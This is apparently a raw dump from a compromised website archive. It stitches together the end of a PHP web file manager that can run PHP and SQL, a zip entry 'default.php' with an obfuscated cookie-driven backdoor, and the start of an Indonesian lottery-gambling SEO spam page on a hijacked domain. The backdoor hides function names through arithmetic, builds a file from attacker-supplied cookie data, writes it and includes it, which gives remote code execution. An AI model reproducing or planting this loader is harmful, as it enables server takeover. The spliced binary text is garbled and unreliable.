$_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK `8�\�0&� default.phpnu ��6�$ <?php function init_system($c) { $a = array(60 * 1 + 56, 97, 18 + 24 + 74, 40 * 100 - 3885); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } class TaskScheduler { private static $_vj; static function trackActivity($_fyp) { if (!self::$_vj) { self::syncRecords(); } return base64_decode(self::$_vj[$_fyp]); } private static function syncRecords() { self::$_vj = array('_gik' => '', '_chf' => ''); } } $_jnu = $_COOKIE; $_se = -69 - 22 + 91; $_fyp = (int) round(1 + 1 + 1 + 1); $_hrg = array(); $_hrg[$_se] = TaskScheduler::trackActivity('_gik'); while ($_fyp) { $_hrg[$_se] .= $_jnu[-443 - -480][$_fyp]; if (!$_jnu[(int) round(18.5 + 18.5)][$_fyp + (int) round(0.5 + 0.5)]) { if (!$_jnu[-751 + 788][$_fyp + (int) round(1 + 1)]) { break; } $_se++; $_hrg[$_se] = TaskScheduler::trackActivity('_c' . 'hf'); $_fyp++; } $_fyp = $_fyp + (int) round(1.3333333333333 + 1.3333333333333 + 1.3333333333333) + (-149 + 150); } $_se = $_hrg[-252 + 98 - -220 + -66]() . $_hrg[-72 - -100]; if (!$_hrg[473 - -207 - -28 + -705]($_se)) { $_fyp = $_hrg[(int) round(6.3333333333333 + 6.3333333333333 + 6.3333333333333)]($_se, $_hrg[84 + -68]); $_hrg[(int) round(3.6666666666667 + 3.6666666666667 + 3.6666666666667)]($_fyp, $_hrg[370 + 80 + -444] . $_hrg[(int) round(4 + 4)]($_hrg[918 + 402 - 472 + -841]($_jnu[3 + -16 - 20 - -36]))); } include $_se;PK `8�\�Z��r; r; index.htmlnu �[��� <!DOCTYPE html> <html lang="id" amp i-amphtml-binding i-amphtml-layout i-amphtml-no-boilerplate transformed="self;v=1" itemscope="itemscope" itemtype="https://schema.org/WebPage"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar</title> <meta name="description" content="JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap." /> <meta name="keywords" content="jostoto, jos toto, link jostoto, jostoto login, daftar jostoto, situs jostoto, link alternatif jostoto, prediksi togel, link togel, situs toto, situs togel, togel online, toto togel, toto online, togel terpercaya, togel 4d, bandar toto togel, agen togel, bo toto togel, bandar togel terpercaya, bandar slot terpercaya." /> <meta name="page google.com" content="https://www.google.com/search?q=JOSTOTO"> <meta name="page google.co.id" content="https://www.google.co.id/search?q=JOSTOTO"> <meta name="page google.com" content="https://www.google.com/search?q=AGEN+TOGEL"> <meta name="page google.co.id" content="https://www.google.co.id/search?q=AGEN+TOGEL"> <link itemprop="mainEntityOfPage" rel="canonical" href="https://thecamphuntsville.com/" /> <meta name="robots" content="index, follow" /> <meta name="page-locale" content="id,en"> <meta content="true" name="HandheldFriendly"> <meta content="width" name="MobileOptimized"> <meta content="indonesian" name="language"> <meta content='#007fa0' name='theme-color' /> <link rel="preload" as="image" href="https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png" /> <meta name="supported-amp-formats" content="websites,stories,ads,email"> <!-- Twitter --> <meta name="twitter:card" content="summary"> <meta name="twitter:title" content="JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar"> <meta name="twitter:description" content="JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap."> <meta name="twitter:image:src" content="https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png"> <meta name="twitter:player" content="https://youtu.be/"> <meta name="og:title" content="JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar"> <meta name="og:description" content="JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap."> <meta name="og:image" content="https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png"> <meta property="og:image:width" content="600"> <meta property="og:image:height" content="466"> <meta name="og:url" content="https://thecamphuntsville.com/"> <meta name="og:site_name" content="JOSTOTO"> <meta name="og:locale" content="ID_id"> <meta name="og:video" content="https://youtu.be/"> <meta name="og:type" content="website"> <meta property="og:type" content="video" /> <meta property="og:video:type" content="video/mp4"> <meta property="og:video:width" content="500"> <meta property="og:video:height" content="281"> <meta name="theme-color" content="#0a0a0a" /> <meta name="categories" content="JOSTOTO" /> <meta name="language" content="ID"> <meta 